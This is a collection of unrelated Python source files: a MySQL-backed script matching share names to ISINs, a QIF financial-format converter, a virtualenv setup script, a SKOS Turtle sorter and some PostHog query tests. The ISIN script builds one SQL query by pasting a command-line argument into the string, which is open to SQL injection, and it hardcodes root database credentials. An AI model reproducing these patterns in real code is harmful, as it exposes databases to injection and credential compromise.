"FROM share s " "JOIN share_alias sa on sa.share = s.id " "WHERE sa.name like CONCAT('%', %s, '%') " + self.QUERY_WHERE_AND + self.QUERY_ORDER + "LIMIT 1") return self._execute_share_search_query(query, name) def _find_by_share_reverse_fuzzy_alias(self, name): query = ("SELECT sa.name, s.isin " "FROM share s " "JOIN share_alias sa on sa.share = s.id " "WHERE %s like CONCAT('%', sa.name, '%') " "AND length(sa.name) > 4 " + self.QUERY_WHERE_AND + self.QUERY_ORDER + "LIMIT 1") return self._execute_share_search_query(query, name) def _find_by_share_company_reverse_fuzzy_name(self, name): query = ("SELECT s.name, s.isin " "FROM share_company sc " "JOIN share s on s.share_company = sc.id " "WHERE %s like CONCAT('%', sc.name, '%') " "AND length(s.name) > 4 " + self.QUERY_WHERE_AND + "group by sc.name " + self.QUERY_ORDER + "LIMIT 1") return self._execute_share_search_query(query, name) def share_by_isin(self, isin): cursor = self.connection.cursor(buffered=True) query = ("SELECT name FROM share s " "WHERE isin = (%s) " "AND (s.category = 1 or s.category is null) " "LIMIT 1") try: cursor.execute(query, (isin, )) except mysql.connector.errors.IntegrityError, e: print ('Find share by isin exception:', e) if (cursor is not None): share_name = cursor.fetchone() else: share_name = None cursor.close() return share_name def share_company_by_isin(self, isin): cursor = self.connection.cursor(buffered=True) query = ("SELECT sc.name FROM share s " "join share_company sc on s.share_company = sc.id " "WHERE isin = %s ") try: cursor.execute(query, (isin, )) except mysql.connector.errors.IntegrityError, e: print ('Find share_company by isin exception:', e) if (cursor is not None): self.share_company_name = cursor.fetchone() else: self.share_company_name = None cursor.close() if (self.share_company_name is not None): self.share_company_name = self.share_company_name[0] return self.share_company_name def find_exact_share_routine(self, name): self.share = None self.share = self._find_by_share_exact_name(name) if (self.share is None): self.share = self._find_by_share_exact_alias(name) if (self.share is None): self.share = self._find_by_share_company_exact_name(name) return self.share def find_share_routine(self, name): self.share = None self.share = self.find_exact_share_routine(name) # Do not allow fuzzy search on search strings shorter than four letters! if (len(name) > 3): if (self.share is None): self.share = self._find_by_share_fuzzy_name(name) if (self.share is None): self.share = self._find_by_share_company_fuzzy_name(name) if (self.share is None): self.share = self._find_by_share_fuzzy_alias(name) if (self.share is None): self.share = self._find_by_share_reverse_fuzzy_alias(name) if (self.share is None): self.share = self._find_by_share_reverse_fuzzy_name(name) if (self.share is None): self.share = self._find_by_share_company_reverse_fuzzy_name( name) return self.share def exact_and_fuzzy_routine(self, name): share = None share = self.find_exact_share_routine(name) if(share is None): share = self.find_share_routine(name) return share def all_exact(self, name): shares = [] for query in self._exact_queries: shares = shares + self._execute_share_search_query_get_all(query, name) return shares def all_fuzzy(self, name): shares = [] for query in self._fuzzy_queries: shares = shares + self._execute_share_search_query_get_all(query, name) return shares def find_share_alt_name(self, name): name = name.lower() share = None used_names = [] used_names.append(name) for suffix in self.company_suffix: new_name = name.replace(suffix, "") if (new_name not in used_names): share = self.exact_and_fuzzy_routine(new_name) used_names.append(new_name) if (share is None): new_name = new_name.replace(",", "").replace(".", "") if (new_name not in used_names): share = self.exact_and_fuzzy_routine(new_name) used_names.append(new_name) if (share is None): new_name = new_name.replace(" ", "") if (new_name not in used_names): share = self.exact_and_fuzzy_routine(new_name) used_names.append(new_name) if (share is not None): break return share # -------------------------------------------------------------------------- # -------------------------------------------------------------------------- def __init__(self): self.QUERY_WHERE_AND = ( "AND s.isin IS NOT NULL " "AND (s.category = 1 or s.category is null) ") self.QUERY_ORDER = "ORDER BY s.category desc, s.id asc " self.company_suffix =[' group', '.', ',', ' corporation', ' group', ' plc', ' limited', ' & co.', ' ab', ' a/s', ' oyj', ' asa', ' hf', ' abp', ' incorporated', ' company', ' & company', ' ag', ' (the)', ' and company', ' holdings', ' financial', 'the ', ' corp', ' inc', ' hldgs', ' companies', ' nl', ' se', 's.p.a.', ' spa', 's.a.', 'aktiengesellschaft', ', inc.', ' co. ltd.', 'ltd', 'plc' 'company limited'] self.QUERY_LIMIT = "" self._find_by_share_exact_name_query = ("SELECT s.name, s.isin FROM share s " "WHERE s.name = (%s) " + self.QUERY_WHERE_AND + self.QUERY_ORDER + self.QUERY_LIMIT) self._find_by_share_exact_alias_query = ("SELECT s.name, s.isin " "FROM share s " "JOIN share_alias sa on sa.share = s.id " "WHERE sa.name = (%s) " + self.QUERY_WHERE_AND + self.QUERY_ORDER + self.QUERY_LIMIT) self._find_by_share_company_exact_name_query = ("SELECT s.name, s.isin " "FROM share_company sc " "JOIN share s on s.share_company = sc.id " "WHERE sc.name = (%s) " + self.QUERY_WHERE_AND + "GROUP BY sc.name " + self.QUERY_ORDER + self.QUERY_LIMIT) self._find_by_share_company_fuzzy_name_query = ("SELECT s.name, s.isin " "FROM share_company sc " "JOIN share s on s.share_company = sc.id " "WHERE sc.name like CONCAT('%', %s, '%') " + self.QUERY_WHERE_AND + "GROUP BY sc.name " + self.QUERY_ORDER + self.QUERY_LIMIT) self._find_by_share_fuzzy_name_query = ("SELECT s.name, s.isin " "FROM share s " "WHERE s.name like CONCAT('%', %s, '%') " + self.QUERY_WHERE_AND + self.QUERY_ORDER + self.QUERY_LIMIT) self._find_by_share_reverse_fuzzy_name_query = ("SELECT s.name, s.isin " "FROM share s " "WHERE %s like CONCAT('%', s.name, '%') " "AND length(s.name) > 4 " + self.QUERY_WHERE_AND + self.QUERY_ORDER + self.QUERY_LIMIT) self._find_by_share_fuzzy_alias_query = ("SELECT s.name, s.isin " "FROM share s " "JOIN share_alias sa on sa.share = s.id " "WHERE sa.name like CONCAT('%', %s, '%') " + self.QUERY_WHERE_AND + self.QUERY_ORDER + self.QUERY_LIMIT) self._find_by_share_reverse_fuzzy_alias_query = ("SELECT s.name, s.isin " "FROM share s " "JOIN share_alias sa on sa.share = s.id " "WHERE %s like CONCAT('%', sa.name, '%') " "AND length(sa.name) > 4 " + self.QUERY_WHERE_AND + self.QUERY_ORDER + self.QUERY_LIMIT) self._find_by_share_company_reverse_fuzzy_name_query = ("SELECT s.name, s.isin " "FROM share_company sc " "JOIN share s on s.share_company = sc.id " "WHERE %s like CONCAT('%', sc.name, '%') " "AND length(s.name) > 4 " + self.QUERY_WHERE_AND + "group by sc.name " + self.QUERY_ORDER + self.QUERY_LIMIT) self._exact_queries = ( self._find_by_share_exact_name_query, self._find_by_share_exact_alias_query) # not including SC in exact match. #self._find_by_share_company_exact_name_query self._fuzzy_queries = ( self._find_by_share_company_exact_name_query, self._find_by_share_company_fuzzy_name_query, self._find_by_share_fuzzy_name_query, self._find_by_share_reverse_fuzzy_name_query, self._find_by_share_fuzzy_alias_query, self._find_by_share_reverse_fuzzy_alias_query, self._find_by_share_company_reverse_fuzzy_name_query) # Search database self.connection = mysql.connector.connect(user='root', password='root', database='fondout_maxi') self.cursor = self.connection.cursor() # Update database self.cnxUp = mysql.connector.connect( user='root', password='root', database='fund_search') self.cursorUp = self.cnxUp.cursor() self._isin_google = GoogleIsinSearch() def main(self): # Parse args from command line parser = argparse.ArgumentParser() parser.add_argument("-f", "--fund", help="Fund to use.") args = parser.parse_args() # Prepare script to listen to ctrl-c signal.signal(signal.SIGINT, self.signal_handler) # --------- Choose selection of shares from database query_unidentified_shares = ( "SELECT name from tmp_shareholding " "where isin IS NULL") # uncomment to enable Test list already caught share-isins / redo everything if args.fund is not None: print "Fund used : ", args.fund query_unidentified_shares = ( "SELECT name from tmp_shareholding " "where fund = (select id from tmp_fund where name LIKE '%" + args.fund + "%')" " AND isin IS NULL and false_positive = 0") self.cursorUp.execute(query_unidentified_shares) unidentifiedShares = self.cursorUp.fetchall() # -------------------------------------------------------------------------- for (share_name,) in unidentifiedShares: # lowercase because MYSQL is not case sensitive, but python is. share_name = share_name.lower() print "New share: ", share_name # --------------- Find section --------------- # First db-search attempt, exact match found_share = self.find_exact_share_routine(share_name) if (found_share is not None): exact_match = True else: exact_match = False # Second db-search attempt, fuzzy search if (found_share is None): found_share = self.find_share_routine(share_name) # Third db-search attempt with alternated name if (found_share is None): used_names = [] used_names.append(share_name) for suffix in self.company_suffix: new_name = share_name.replace(suffix, "") if (new_name not in used_names): found_share = self.find_share_routine(new_name) used_names.append(new_name) if (found_share is None): new_name = new_name.replace(",", "").replace(".", "") if (new_name not in used_names): found_share = self.find_share_routine(new_name) used_names.append(new_name) if (found_share is None): new_name = new_name.replace(" ", "") if (new_name not in used_names): found_share = self.find_share_routine(new_name) used_names.append(new_name) if (found_share is not None): break if (exact_match is not True): (googled_isin, googled_isin_matches, google_occurances) = self._isin_google.search_google(share_name) else: googled_isin_matches = 0 google_occurances = None googled_isin = None if (found_share is not None): (found_name, found_isin) = found_share print found_name, found_isin if (googled_isin_matches > 0): if (found_isin == googled_isin): # CASE 1: GOOGLE = DBMATCH --> SAME ISIN # Database found matches top google result print 'Found isin matches googled isin, gr8 success!' found_method = ("1: search and google match. Google hits: " + str(googled_isin_matches)) elif (googled_isin_matches > 3): # CASE 2: GOOGLE(>3) != DBMATCH --> CHOOSE GOOGLE # No match google hits wins - take google result found_method = ("2:" + str(googled_isin_matches) + " google hits, conflict search " + found_name + " " + found_isin) found_isin = googled_isin found_name = "googled: " result = self.share_by_isin(googled_isin) if (result is not None): found_name = found_name + ' ' + result[0] elif (googled_isin_matches > 0): if (found_isin in google_occurances): # CASE 3: GOOGLE(<3) != DBMATCH, DBMATCH in GOOG OCCURANC # ---> CHOOSE DBMATCH found_method = ("3: mismatch db. top google hit: " + googled_isin + ":" + str(googled_isin_matches)) else: # CASE 4: GOOGLE(<4) != DBMATCH, DBMATCH NOT in GOOG OCCURANC # found_isin = "" # found_name = "" found_method = ("4. mismatch db google(" + str(googled_isin_matches) + ") not in google results. " + googled_isin) result = self.share_by_isin(googled_isin) if (result is not None): found_method = (found_method + ' db-matched to ' + result[0]) elif (exact_match is True): # CASE 8: EXACT MATCH found_method = "8: Exact match" else: # CASE 2: No google hits, but found in DB # Make this a separate case? found_method = "2: No google hits" elif (googled_isin_matches > 0): # min 3 google hits makes certain if (googled_isin_matches > 2): found_isin = googled_isin # Search current db for found isin. result = self.share_by_isin(googled_isin) found_method = ("5:" + str(googled_isin_matches) + " results googled, faild db-search.") found_name = "googled: " if (result is not None): found_name = found_name + result[0] else: found_method = ("6. Google hits: " + str(googled_isin_matches) + " : " + googled_isin) result = self.share_by_isin(googled_isin) if (result is not None): found_method = found_method + ' db-matched to ' + result[0] found_isin = "" found_name = "" else: found_isin = "" found_name = "" found_method = "7: Nothing found!" # Get share_company found_share_company = "" if(found_isin != ""): found_share_company = self.share_company_by_isin(found_isin) # --------------- Update section --------------- query_update_isin = ( "UPDATE tmp_shareholding " "SET matched_name=%s, isin=%s, method_found=%s, share_company=%s " "WHERE name = %s") update_share_values = (found_name, found_isin, found_method, found_share_company, share_name) # If fund is specified add specific by fund. # obs: Should really be the exact one pulled from the database if args.fund is not None: query_update_isin = ( query_update_isin + " and fund = (select id from tmp_fund " "where name like CONCAT('%', %s, '%'))") update_share_values = update_share_values + (args.fund, ) # Update share in fund_search where name = share_name try: self.cursorUp.execute(query_update_isin, update_share_values) except Exception as e: print('Update execution error', e) # Use commit for confirming modification of data. # Rollback to undo. # Disable for test. self.cnxUp.commit() time.sleep(randint(0,10)) self.exit_procedure() if __name__ == "__main__": findIsin = FindIsin() findIsin.main()
nilq/baby-python
python
"""Provides conversion for transaction data into an exchange format.""" import textwrap import time from powl import exception class TransactionConverter(object): """ Provides methods to convert data into a financial exchange format. """ def convert(self, date, debit, credit, amount, memo): """ Convert a transaction into an exchange financial format. Parameters ---------- date : time.struct_time Date of the transaction. debit : str Debit account of the transaction. credit : str Credit account of the transaction. amount : float Amount of the transaction. memo : str Description of the transaction. """ pass class QifConverter(TransactionConverter): """ Provides methods to convert a transaction into QIF format. """ def __init__(self, log, files, account_types, assets, liabilities, revenues, expenses): """ Parameters ---------- log : powl.log.Log Used to log. files : dict of powl.filesystem.File Map of account key to files. Every key in files must exist in either of assets, liabilities, revenues, or expenses. account_types : dict Map of account key to QIF account types. assets : dict Map of account key to Assets. liabilities : dict Map of account key to Liabilitess. revenues : dict Map of account key to Revenuess. expenses : dict Map of account key to Expensess. Notes ----- An account key is a string that maps to a QIF account. Multiple account key words can map to the same account. For example "ent" can map to "Expenses:Entertainment" and "entertainment" can also map to "Expenses:Entertainment". Raises ------ ValueError If a key is files does not have a key in any of assets, liabilities, revenues, or expenses. """ self._log = log self._files = files self._account_types = account_types self._assets = assets self._liabilities = liabilities self._revenues = revenues self._expenses = expenses self._accounts = dict(self._assets.items() + self._liabilities.items() + self._revenues.items() + self._expenses.items()) for key, value in self._files.items(): if key not in self._accounts.keys(): msg = ("account key ({0}) ".format(key) + "for file ({0}) ".format(value.filename) + "does not have has an associated QIF account") err = exception.create(ValueError, msg) raise err def convert(self, date, debit, credit, amount, memo): """ Convert transaction data into QIF format. Parameters ---------- date : time.struct_time Date of the transaction. debit : str Debit account of the transaction. credit : str Credit account of the transaction. amount : float Amount of the transaction. memo : str Description of the transaction. Returns ------- record : str QIF record of the transaction. qif_file : powl.filesystem.File The QIF file to output to. Notes ----- Since it depends which QIF file records the transaction, the return value also contains the file to write to. """ qif_date = self._format_date(date) qif_transfer = self._get_transfer_account(debit, credit) qif_amount = self._format_amount(debit, amount) qif_memo = memo qif_record = self._format_qif_record(qif_date, qif_transfer, qif_amount, qif_memo) qif_file = self._get_qif_file(debit, credit) self._log_transaction(qif_date, qif_file.filename, qif_transfer, qif_amount, qif_memo) return qif_record, qif_file def _create_qif_templates(self): templates = [] for key, filename in self.filenames.iteritems(): account_name = self.accounts.get(key) account_type = self.types.get(key) header = self._format_qif_header(account_name, account_type) template = (filename, header) templates.append(template) return templates def _format_amount(self, debit, amount): """ Convert amount to QIF format based on debit. Parameters ---------- debit : str Account key for the debit of a transaction. amount : str or float Amount of the transaction. Returns ------- str Formatted amount to use in QIF file. Raises ------ ValueError If amount cannot be converted to a float. KeyError If debit key is not an account. """ try: formatted_amount = "{0:.2f}".format(float(amount)) except ValueError as err: msg = "amount ({0}) cannot be converted to float".format(amount) exception.add_message(err, msg) raise if debit in self._expenses: # Amount should be negative. return '-' + formatted_amount elif debit in self._accounts: return formatted_amount else: msg ="account key ({0}) does not exist".format(debit) err = exception.create(KeyError, msg) raise err def _format_date(self, date): """ Convert struct_time to QIF date format (MM/DD/YYYY). Parameters ---------- date : time.struct_time The date of the transaction. Returns ------- str String date in the format of "MM/DD/YYYY". Raises ------ TypeError If date is not a struct_time. ValueError If a date value is out of range. OverflowError If a value in the tuple is too large to be stored in a C long. """ try: return time.strftime("%m/%d/%Y", date) except (ValueError, TypeError, OverflowError) as err: msg = ("date ({0}) cannot be converted ".format(date) + "to MM/DD/YYYY ") exception.add_message(err, msg) raise def _format_qif_header(self, account_name, account_type): """Format an account name and type into a header for a QIF file.""" data = { 'name': account_name, 'type': account_type } header = textwrap.dedent("""\ !Account N{name} T{type} ^ !Type:{type}""".format(**data)) return header def _format_qif_record(self, date, transfer, amount, memo): """ Formats qif data into a transaction for a QIF file. Parameters ---------- date : str Date of the transaction transfer : str Transfer QIF account. amount : str Formatted amount. memo : str Description of the transaction. """ return textwrap.dedent( """\ D{0} T{1} L{2} M{3} ^""".format(date, amount, transfer, memo)) def _get_qif_file(self, debit, credit): """ Get the associated QIF file from the debit and credit keys. Parameters ---------- debit : str Account key for the debit of a transaction. credit : str Account key for the credit of a transaction. Raises ------ KeyError If neither key has an associated QIF file. Notes ----- Debit key has priority so if both debit and credit key has an associated QIF file than the QIF file associated with the debit key is returned. This is linked with get_transfer_account. If the QIF file returned from this is from the debit key then the transfer account must be from the credit key and vice versa. """ if debit in self._files: return self._files[debit] elif credit in self._files: return self._files[credit] else: msg = ("neither debit key ({0}) ".format(debit) + "or credit key ({0}) ".format(credit) + "has an associated QIF file") err = exception.create(KeyError, msg) raise err def _get_transfer_account(self, debit, credit): """ Get the associated QIF account from the debit and credit keys. Parameters ---------- debit : str Account key for the debit of a transaction. credit : str Account key for the credit of a transaction. Raises ------ KeyError If neither key has an associated QIF file. If neither key has an associated QIF account. Notes ----- Credit key has priority so if both debit and credit key has an associated QIF account than the QIF account associated with the credit key is returned. This is linked with get_qif_file. If the transfer account returned from this is from the credit key then the QIF file must be from the debit key and vice versa. """ if debit in self._files: key = credit elif credit in self._files: key = debit else: msg = ("neither debit key ({0}) ".format(debit) + "or credit key ({0}) ".format(credit) + "has an associated QIF file") err = exception.create(KeyError, msg) raise err if key in self._accounts: return self._accounts[key] else: msg = ("account key ({0}) ".format(key) + "does not have has an associated QIF account") err = exception.create(KeyError, msg) raise err def _log_transaction(self, date, filename, transfer, amount, memo): """ Debug logs the transaction. Parameters ---------- date : str Date of the transaction filename : str Name of the QIF file. transfer : str Transfer QIF account. amount : str Formatted amount. memo : str Description of the transaction. """ self._log.debug("QIF transaction:") self._log.debug(" date: %s", date) self._log.debug(" file: %s", filename) self._log.debug(" transfer: %s", transfer) self._log.debug(" amount: %s", amount) self._log.debug(" memo: %s", memo)
nilq/baby-python
python
#!/usr/bin/env python # pylint: disable=wrong-import-position import os import subprocess import sys import tempfile sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..')) from xv_leak_tools.helpers import current_os if len(sys.argv) != 2: sys.stderr.write("USAGE: setup_python.py virtualenv_location\n") sys.exit(1) def bin_path(): if current_os() == 'macos': return '/usr/local/bin/' return '/usr/bin/' def install_python_if_not_present(location): if os.path.exists(os.path.join(location, 'bin', 'activate')): print("Virtualenv already setup in {}".format(location)) return print("Creating virtualenv") cmd = [ os.path.join(bin_path(), 'virtualenv'), '-p', os.path.join(bin_path(), 'python3'), location ] print("Executing: {}".format(" ".join(cmd))) subprocess.check_output(cmd) write_pythonlocation(location) def install_pip_packages(): if sys.platform == 'linux' or sys.platform == 'linux2': requirements = 'requirements_linux.txt' elif sys.platform == 'darwin': requirements = 'requirements_macos.txt' elif sys.platform == 'cygwin': requirements = 'requirements_windows.txt' else: raise Exception("Unsupported system: {}".format(sys.platform)) print("Installing pip packages using {}".format(requirements)) script = '''\ source activate pip3 install -r {} '''.format(requirements) _file, script_file = tempfile.mkstemp() with os.fdopen(_file, 'w') as _file: _file.write(script) print("Wrote temp file to {}".format(script_file)) try: for line in subprocess.check_output(['bash', script_file]).splitlines(): print(line.decode()) except subprocess.CalledProcessError as ex: print("FAILED: {}".format(ex)) sys.exit(1) def write_pythonlocation(location): with open('.pythonlocation', 'w') as _file: _file.write(location) LOCATION = sys.argv[1] print("Setting up python in {}".format(LOCATION)) install_python_if_not_present(LOCATION) # Write the python location first as the pip step relies on it write_pythonlocation(LOCATION) # We always install pip packages so that updates from the repo get picked up. On the build machines # this is very useful. It's cheap to pip install if everything is already installed. install_pip_packages()
nilq/baby-python
python
from otd.skosnavigate import SKOSNavigate from similarity.csv_parse import get_fragment from utils.graph import create_bound_graph def sort_turtle(prefix, identifiers, file_in, file_out): with open(file_in, encoding='utf8') as fd: line_iter = iter(fd) entities = dict() preamble_finished = False preamble = [] while not preamble_finished: line = next(line_iter) preamble.append(line) if line.strip() == "": preamble_finished = True extra = [] try: while True: line = next(line_iter) if line.strip == "": # Extra blank lines between entities continue if not line.startswith(prefix): # We don't recognize this, just put it in the end extra.append(line) continue # If we are here, then we recognize this line as the first for a # subject. Its identifier is from after the prefix, until space. this_id = line.split()[0][len(prefix):] this_entitity = [] entities[this_id] = this_entitity # do-while loop this_entitity.append(line) while line.strip() != "": line = next(line_iter) this_entitity.append(line) except StopIteration: # End of file pass # Add to file in order given by identifiers sorted_lines = list() sorted_lines.extend(preamble) for ent_id in identifiers: if ent_id in entities: sorted_lines.extend(entities[ent_id]) entities.pop(ent_id) else: print('Identifier', ent_id, 'not found in turtle file') remaining_entities = sorted(entities.items()) for _, lines in remaining_entities: sorted_lines.extend(lines) if extra: sorted_lines.append('\n') sorted_lines.extend(extra) with open(file_out, mode="w", encoding="utf8") as fd: fd.writelines(sorted_lines) def get_concepts_sorted(file_in): identifiers = [] g = create_bound_graph() g.parse(location=file_in, format="turtle") navigator = SKOSNavigate(g) def do_node(node, visited_nodes): identifiers.append(get_fragment(str(node))) children = tuple(sorted(navigator.find_children(node))) if node not in visited_nodes and len(children): for child in children: do_node(child, visited_nodes | {node}) elif node in visited_nodes: print('Cycle detected for nodes', visited_nodes, 'at node', node) do_node(navigator.find_root(), set()) return identifiers
nilq/baby-python
python
import pytest from ee.clickhouse.queries.groups_join_query import GroupsJoinQuery from posthog.models.filters import Filter def test_groups_join_query_blank(): filter = Filter(data={"properties": []}) assert GroupsJoinQuery(filter, 2).get_join_query() == ("", {}) def test_groups_join_query_filtering(snapshot): filter = Filter( data={"properties": [{"key": "industry", "value": "finance", "type": "group", "group_type_index": 0}]} ) assert GroupsJoinQuery(filter, 2).get_join_query() == snapshot def test_groups_join_query_filtering_with_custom_key_names(snapshot): filter = Filter( data={ "properties": [ {"key": "industry", "value": "finance", "type": "group", "group_type_index": 0}, {"key": "company", "value": "crashed", "type": "group", "group_type_index": 2}, ] } ) assert GroupsJoinQuery(filter, 2, join_key="call_me_industry").get_join_query() == snapshot
nilq/baby-python
python